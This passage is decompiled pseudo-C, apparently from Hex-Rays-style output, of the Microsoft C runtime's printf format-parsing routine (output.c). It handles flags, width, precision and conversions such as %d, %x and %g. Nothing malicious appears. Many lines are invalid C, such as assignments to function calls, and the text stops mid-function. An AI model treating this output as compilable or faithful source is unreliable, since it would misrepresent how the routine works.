						if(( *(__ebp - 0x10) & 0x00000080) != 0) {
							__edx = 0x30;
							 *(__ebp - 0x14) = __dx;
							 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
							__eflags =  *(__ebp - 0x460) + 0x51;
							 *(__ebp - 0x12) = __ax;
							 *(__ebp - 0x1c) = 2;
						}
						while(1) {
							L150:
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
							__eflags =  *(__ebp - 0x10) & 0x00008000;
							if(( *(__ebp - 0x10) & 0x00008000) == 0) {
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
								__eflags =  *(__ebp - 0x10) & 0x00001000;
								if(( *(__ebp - 0x10) & 0x00001000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
									__eflags =  *(__ebp - 0x10) & 0x00000020;
									if(( *(__ebp - 0x10) & 0x00000020) == 0) {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											__eax = E004285E0(__ebp + 0x14);
											__edx = 0;
											__eflags = 0;
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = 0;
										} else {
											__eax = __ebp + 0x14;
											__eax = E004285E0(__ebp + 0x14);
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									} else {
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
										__eflags =  *(__ebp - 0x10) & 0x00000040;
										if(( *(__ebp - 0x10) & 0x00000040) == 0) {
											__ecx = __ebp + 0x14;
											E004285E0(__ebp + 0x14) = __ax & 0x0000ffff;
											asm("cdq");
											 *(__ebp - 0x4a0) = __ax & 0x0000ffff;
											 *(__ebp - 0x49c) = __edx;
										} else {
											__eax = __ebp + 0x14;
											__eax = E004285E0(__ebp + 0x14);
											__ax = __eax;
											asm("cdq");
											 *(__ebp - 0x4a0) = __eax;
											 *(__ebp - 0x49c) = __edx;
										}
									}
								} else {
									__eax = __ebp + 0x14;
									 *(__ebp - 0x4a0) = E00428600(__ebp + 0x14);
									 *(__ebp - 0x49c) = __edx;
								}
							} else {
								__ecx = __ebp + 0x14;
								 *(__ebp - 0x4a0) = E00428600(__ebp + 0x14);
								 *(__ebp - 0x49c) = __edx;
							}
							 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
							__eflags =  *(__ebp - 0x10) & 0x00000040;
							if(( *(__ebp - 0x10) & 0x00000040) == 0) {
								goto L167;
							}
							L163:
							__eflags =  *(__ebp - 0x49c);
							if(__eflags > 0) {
								goto L167;
							}
							L164:
							if(__eflags < 0) {
								L166:
								 *(__ebp - 0x4a0) =  ~( *(__ebp - 0x4a0));
								__edx =  *(__ebp - 0x49c);
								asm("adc edx, 0x0");
								__edx =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x4a8) =  ~( *(__ebp - 0x4a0));
								 *(__ebp - 0x4a4) =  ~( *(__ebp - 0x49c));
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
								L168:
								 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
								__eflags =  *(__ebp - 0x10) & 0x00008000;
								if(( *(__ebp - 0x10) & 0x00008000) == 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
									__eflags =  *(__ebp - 0x10) & 0x00001000;
									if(( *(__ebp - 0x10) & 0x00001000) == 0) {
										__edx =  *(__ebp - 0x4a8);
										__eax =  *(__ebp - 0x4a4);
										__eax =  *(__ebp - 0x4a4) & 0x00000000;
										__eflags = __eax;
										 *(__ebp - 0x4a4) = __eax;
									}
								}
								__eflags =  *(__ebp - 0x30);
								if( *(__ebp - 0x30) >= 0) {
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xfffffff7;
									__eflags =  *(__ebp - 0x30) - 0x200;
									if( *(__ebp - 0x30) > 0x200) {
										 *(__ebp - 0x30) = 0x200;
									}
								} else {
									 *(__ebp - 0x30) = 1;
								}
								 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
								if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
									 *(__ebp - 0x1c) = 0;
								}
								__eax = __ebp - 0x249;
								 *(__ebp - 4) = __ebp - 0x249;
								while(1) {
									L178:
									__ecx =  *(__ebp - 0x30);
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
									__eflags =  *(__ebp - 0x30);
									if( *(__ebp - 0x30) > 0) {
										goto L180;
									}
									L179:
									 *(__ebp - 0x4a8) =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									__eflags =  *(__ebp - 0x4a8) |  *(__ebp - 0x4a4);
									if(( *(__ebp - 0x4a8) |  *(__ebp - 0x4a4)) == 0) {
										L183:
										__ebp - 0x249 = __ebp - 0x249 -  *(__ebp - 4);
										 *(__ebp - 0x24) = __ebp - 0x249 -  *(__ebp - 4);
										__ecx =  *(__ebp - 4);
										__ecx =  *(__ebp - 4) + 1;
										 *(__ebp - 4) = __ecx;
										 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000200;
										__eflags =  *(__ebp - 0x10) & 0x00000200;
										if(( *(__ebp - 0x10) & 0x00000200) == 0) {
											while(1) {
												L187:
												__eflags =  *(__ebp - 0x28);
												if( *(__ebp - 0x28) != 0) {
													goto L212;
												}
												L188:
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
												__eflags =  *(__ebp - 0x10) & 0x00000040;
												if(( *(__ebp - 0x10) & 0x00000040) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000100;
													__eflags =  *(__ebp - 0x10) & 0x00000100;
													if(( *(__ebp - 0x10) & 0x00000100) == 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000001;
														__eflags =  *(__ebp - 0x10) & 0x00000001;
														if(( *(__ebp - 0x10) & 0x00000001) == 0) {
															 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000002;
															__eflags =  *(__ebp - 0x10) & 0x00000002;
															if(( *(__ebp - 0x10) & 0x00000002) != 0) {
																__edx = 0x20;
																 *(__ebp - 0x14) = __dx;
																 *(__ebp - 0x1c) = 1;
															}
														} else {
															__eax = 0x2b;
															 *(__ebp - 0x14) = __ax;
															 *(__ebp - 0x1c) = 1;
														}
													} else {
														__ecx = 0x2d;
														 *(__ebp - 0x14) = __cx;
														 *(__ebp - 0x1c) = 1;
													}
												}
												 *(__ebp - 0x18) =  *(__ebp - 0x18) -  *(__ebp - 0x24);
												__eax =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x4ac) =  *(__ebp - 0x18) -  *(__ebp - 0x24) -  *(__ebp - 0x1c);
												 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x0000000c;
												__eflags =  *(__ebp - 0x10) & 0x0000000c;
												if(( *(__ebp - 0x10) & 0x0000000c) == 0) {
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x4ac);
													__eax = E0043CC80(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
												}
												__edx = __ebp - 0x44c;
												__eax =  *(__ebp + 8);
												__ecx =  *(__ebp - 0x1c);
												__edx = __ebp - 0x14;
												E0043CCC0( *(__ebp - 0x1c), __ebp - 0x14,  *(__ebp - 0x1c),  *(__ebp + 8), __ebp - 0x44c) =  *(__ebp - 0x10);
												__eax =  *(__ebp - 0x10) & 0x00000008;
												__eflags =  *(__ebp - 0x10) & 0x00000008;
												if(( *(__ebp - 0x10) & 0x00000008) != 0) {
													 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
													__eflags =  *(__ebp - 0x10) & 0x00000004;
													if(( *(__ebp - 0x10) & 0x00000004) == 0) {
														__edx = __ebp - 0x44c;
														__eax =  *(__ebp + 8);
														__ecx =  *(__ebp - 0x4ac);
														__eax = E0043CC80(0x30,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
													}
												}
												__eflags =  *(__ebp - 0xc);
												if( *(__ebp - 0xc) != 0) {
													L208:
													__edx = __ebp - 0x44c;
													__eax =  *(__ebp + 8);
													__ecx =  *(__ebp - 0x24);
													__edx =  *(__ebp - 4);
													__eax = E0043CCC0(__ecx,  *(__ebp - 4), __ecx,  *(__ebp + 8), __ebp - 0x44c);
													goto L209;
												} else {
													L201:
													__eflags =  *(__ebp - 0x24);
													if( *(__ebp - 0x24) <= 0) {
														goto L208;
													}
													L202:
													__edx =  *(__ebp - 4);
													 *(__ebp - 0x4b0) =  *(__ebp - 4);
													__eax =  *(__ebp - 0x24);
													 *(__ebp - 0x4b4) =  *(__ebp - 0x24);
													while(1) {
														L203:
														__ecx =  *(__ebp - 0x4b4);
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														 *(__ebp - 0x4b4) =  *(__ebp - 0x4b4) - 1;
														__eflags = __ecx;
														if(__ecx <= 0) {
															break;
														}
														L204:
														__ecx = __ebp - 0x40;
														__eax = E0041AFF0(__ebp - 0x40);
														__ecx = __ebp - 0x40;
														E0041AFF0(__ebp - 0x40) =  *__eax;
														__ecx =  *(__ebp - 0x458 + 0xac);
														__edx =  *(__ebp - 0x4b0);
														__eax = __ebp - 0x458;
														 *(__ebp - 0x4b8) = E0043B720(__ebp - 0x458,  *(__ebp - 0x4b0),  *(__ebp - 0x458 + 0xac), __ebp - 0x458);
														__eflags =  *(__ebp - 0x4b8);
														if( *(__ebp - 0x4b8) > 0) {
															L206:
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x458) & 0x0000ffff = E0043CC20( *(__ebp - 0x458) & 0x0000ffff,  *(__ebp + 8), __ebp - 0x44c);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															 *(__ebp - 0x4b0) =  *(__ebp - 0x4b0) +  *(__ebp - 0x4b8);
															continue;
														}
														L205:
														 *(__ebp - 0x44c) = 0xffffffff;
														break;
													}
													L207:
													L209:
													__eflags =  *(__ebp - 0x44c);
													if( *(__ebp - 0x44c) >= 0) {
														 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000004;
														__eflags =  *(__ebp - 0x10) & 0x00000004;
														if(( *(__ebp - 0x10) & 0x00000004) != 0) {
															__ecx = __ebp - 0x44c;
															__edx =  *(__ebp + 8);
															 *(__ebp - 0x4ac) = E0043CC80(0x20,  *(__ebp - 0x4ac),  *(__ebp + 8), __ebp - 0x44c);
														}
													}
												}
												L212:
												__eflags =  *(__ebp - 0x20);
												if( *(__ebp - 0x20) != 0) {
													__ecx =  *(__ebp - 0x20);
													__eax = L0041C6E0( *(__ebp - 0x20), 2);
													 *(__ebp - 0x20) = 0;
												}
												while(1) {
													L214:
													 *(_t525 - 0x454) =  *((intOrPtr*)( *((intOrPtr*)(_t525 + 0xc))));
													_t502 =  *(_t525 - 0x454) & 0x0000ffff;
													 *((intOrPtr*)(_t525 + 0xc)) =  *((intOrPtr*)(_t525 + 0xc)) + 2;
													if(( *(_t525 - 0x454) & 0x0000ffff) == 0 ||  *(_t525 - 0x44c) < 0) {
														break;
													} else {
														if(( *(_t525 - 0x454) & 0x0000ffff) < 0x20 || ( *(_t525 - 0x454) & 0x0000ffff) > 0x78) {
															 *(_t525 - 0x4d8) = 0;
														} else {
															 *(_t525 - 0x4d8) =  *(( *(_t525 - 0x454) & 0x0000ffff) +  &M00407E18) & 0xf;
														}
													}
													L7:
													 *(_t525 - 0x450) =  *(_t525 - 0x4d8);
													_t519 =  *(_t525 - 0x450) * 9;
													_t490 =  *(_t525 - 0x45c);
													_t510 = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
													 *(_t525 - 0x45c) = ( *(_t519 + _t490 + 0x407e38) & 0x000000ff) >> 4;
													if( *(_t525 - 0x45c) != 8) {
														L16:
														 *(_t525 - 0x4e0) =  *(_t525 - 0x45c);
														__eflags =  *(_t525 - 0x4e0) - 7;
														if( *(_t525 - 0x4e0) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t525 - 0x4e0) * 4 +  &M0043CB14))) {
															case 0:
																L18:
																 *(_t525 - 0xc) = 1;
																E0043CC20( *(_t525 - 0x454) & 0x0000ffff,  *((intOrPtr*)(_t525 + 8)), _t525 - 0x44c);
																_t527 = _t527 + 0xc;
																goto L214;
															case 1:
																L19:
																 *(__ebp - 0x2c) = 0;
																__ecx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) = __ecx;
																__edx =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__eax =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) =  *(__ebp - 0x18);
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L214;
															case 2:
																L20:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e4) = __ecx;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																 *(__ebp - 0x4e4) =  *(__ebp - 0x4e4) - 0x20;
																__eflags =  *(__ebp - 0x4e4) - 0x10;
																if( *(__ebp - 0x4e4) > 0x10) {
																	goto L27;
																}
																L21:
																_t57 =  *(__ebp - 0x4e4) + 0x43cb4c; // 0x498d04
																__ecx =  *_t57 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0043CB34))) {
																	case 0:
																		goto L24;
																	case 1:
																		goto L25;
																	case 2:
																		goto L23;
																	case 3:
																		goto L22;
																	case 4:
																		goto L26;
																	case 5:
																		goto L27;
																}
															case 3:
																L28:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__edx =  *(__ebp - 0x18);
																	__edx =  *(__ebp - 0x18) * 0xa;
																	__eflags = __edx;
																	_t81 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__ecx = __edx + _t81;
																	 *(__ebp - 0x18) = __ecx;
																} else {
																	__edx = __ebp + 0x14;
																	 *(__ebp - 0x18) = E004285E0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		__ecx =  *(__ebp - 0x18);
																		__ecx =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) = __ecx;
																	}
																}
																L33:
																goto L214;
															case 4:
																L34:
																 *(__ebp - 0x30) = 0;
																goto L214;
															case 5:
																L35:
																__edx =  *(__ebp - 0x454) & 0x0000ffff;
																__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x2a;
																if(( *(__ebp - 0x454) & 0x0000ffff) != 0x2a) {
																	__ecx =  *(__ebp - 0x30);
																	__ecx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __ecx;
																	_t92 = ( *(__ebp - 0x454) & 0x0000ffff) - 0x30; // -48
																	__eax = __ecx + _t92;
																	 *(__ebp - 0x30) = __ecx + _t92;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x30) = E004285E0(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L214;
															case 6:
																L41:
																__ecx =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4e8) = __ecx;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																 *(__ebp - 0x4e8) =  *(__ebp - 0x4e8) - 0x49;
																__eflags =  *(__ebp - 0x4e8) - 0x2e;
																if( *(__ebp - 0x4e8) > 0x2e) {
																	L64:
																	goto L214;
																}
																L42:
																_t100 =  *(__ebp - 0x4e8) + 0x43cb74; // 0xc3819003
																__ecx =  *_t100 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M0043CB60))) {
																	case 0:
																		L47:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x36;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x36) {
																			L50:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																			__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x33;
																			if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x33) {
																				L53:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x64;
																				if(( *__ecx & 0x0000ffff) == 0x64) {
																					L59:
																					L61:
																					goto L64;
																				}
																				L54:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x69;
																				if(__ecx == 0x69) {
																					goto L59;
																				}
																				L55:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6f;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) == 0x6f) {
																					goto L59;
																				}
																				L56:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx & 0x0000ffff;
																				__eflags = ( *__ecx & 0x0000ffff) - 0x75;
																				if(( *__ecx & 0x0000ffff) == 0x75) {
																					goto L59;
																				}
																				L57:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = __ecx - 0x78;
																				if(__ecx == 0x78) {
																					goto L59;
																				}
																				L58:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																				__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x58;
																				if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x58) {
																					 *(__ebp - 0x45c) = 0;
																					goto L18;
																				}
																				goto L59;
																			}
																			L51:
																			__eax =  *(__ebp + 0xc);
																			__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																			__eflags = __ecx - 0x32;
																			if(__ecx != 0x32) {
																				goto L53;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0xffff7fff;
																				goto L61;
																			}
																		}
																		L48:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc) + 2) & 0x0000ffff;
																		__eflags = __ecx - 0x34;
																		if(__ecx != 0x34) {
																			goto L50;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 4;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00008000;
																			goto L61;
																		}
																	case 1:
																		L62:
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) = __ecx;
																		goto L64;
																	case 2:
																		L43:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc)) & 0x0000ffff;
																		__eflags = ( *( *(__ebp + 0xc)) & 0x0000ffff) - 0x6c;
																		if(( *( *(__ebp + 0xc)) & 0x0000ffff) != 0x6c) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		} else {
																			__ecx =  *(__ebp + 0xc);
																			__ecx =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) = __ecx;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L64;
																	case 3:
																		L63:
																		__edx =  *(__ebp - 0x10);
																		__edx =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __edx;
																		 *(__ebp - 0x10) = __edx;
																		goto L64;
																	case 4:
																		goto L64;
																}
															case 7:
																L65:
																__eax =  *(__ebp - 0x454) & 0x0000ffff;
																 *(__ebp - 0x4ec) =  *(__ebp - 0x454) & 0x0000ffff;
																__ecx =  *(__ebp - 0x4ec);
																__ecx =  *(__ebp - 0x4ec) - 0x41;
																 *(__ebp - 0x4ec) = __ecx;
																__eflags =  *(__ebp - 0x4ec) - 0x37;
																if( *(__ebp - 0x4ec) > 0x37) {
																	while(1) {
																		L187:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L212;
																		}
																		goto L188;
																	}
																}
																L66:
																_t141 =  *(__ebp - 0x4ec) + 0x43cbe0; // 0xcccccc0d
																__eax =  *_t141 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t141 & 0x000000ff) * 4 +  &M0043CBA4))) {
																	case 0:
																		L120:
																		 *(__ebp - 0x2c) = 1;
																		 *(__ebp - 0x454) & 0x0000ffff = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		__eflags = ( *(__ebp - 0x454) & 0x0000ffff) + 0x20;
																		 *(__ebp - 0x454) = __ax;
																		goto L121;
																	case 1:
																		L67:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		goto L69;
																	case 2:
																		L82:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000020;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L84;
																	case 3:
																		L144:
																		 *(__ebp - 0x460) = 7;
																		L145:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx = 0x30;
																			 *(__ebp - 0x14) = __dx;
																			 *(__ebp - 0x460) =  *(__ebp - 0x460) + 0x51;
																			__eflags =  *(__ebp - 0x460) + 0x51;
																			 *(__ebp - 0x12) = __ax;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L150;
																	case 4:
																		L75:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x474) = E004285E0(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x474);
																		if( *(__ebp - 0x474) == 0) {
																			L77:
																			__edx =  *0x440f80; // 0x404478
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																			L81:
																			goto L187;
																		}
																		L76:
																		__ecx =  *(__ebp - 0x474);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x474);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x474);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L81;
																		}
																		goto L77;
																	case 5:
																		L121:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__edx = __ebp - 0x448;
																		 *(__ebp - 4) = __ebp - 0x448;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L123:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L126:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L128:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					__ecx =  *(__ebp - 0x30);
																					__ecx =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041BA60( *(__ebp - 0x30) + 0x15d,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__edx =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__edx =  *(__ebp + 0x14);
																				__eax =  *(__edx - 8);
																				__ecx =  *(__edx - 4);
																				 *(__ebp - 0x490) =  *(__edx - 8);
																				 *(__ebp - 0x48c) =  *(__edx - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041AFF0(__ebp - 0x40));
																				__edx =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__eax =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__ecx =  *(__ebp - 0x454);
																				_push( *(__ebp - 0x454));
																				__edx =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__eax =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__ecx = __ebp - 0x490;
																				_push(__ebp - 0x490);
																				__edx =  *0x440374; // 0xc0d8c8fb
																				E00424860(__edx) =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AFF0(__ebp - 0x40));
																						__ecx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__edx =  *0x440380; // 0xc0d7763b
																						E00424860(__edx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__eax =  *(__ebp - 0x454) & 0x0000ffff;
																				__eflags = ( *(__ebp - 0x454) & 0x0000ffff) - 0x67;
																				if(( *(__ebp - 0x454) & 0x0000ffff) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AFF0(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x44037c; // 0xc0d772bb
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *(__ebp - 4);
																				__edx =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__ecx =  *(__ebp - 4);
																					__ecx =  *(__ebp - 4) + 1;
																					__eflags = __ecx;
																					 *(__ebp - 4) = __ecx;
																				}
																				__edx =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DFC0( *(__ebp - 4));
																				do {
																					L187:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L212;
																					}
																					goto L188;
																				} while ( *(__ebp - 0x4ec) > 0x37);
																				goto L66;
																			}
																			L124:
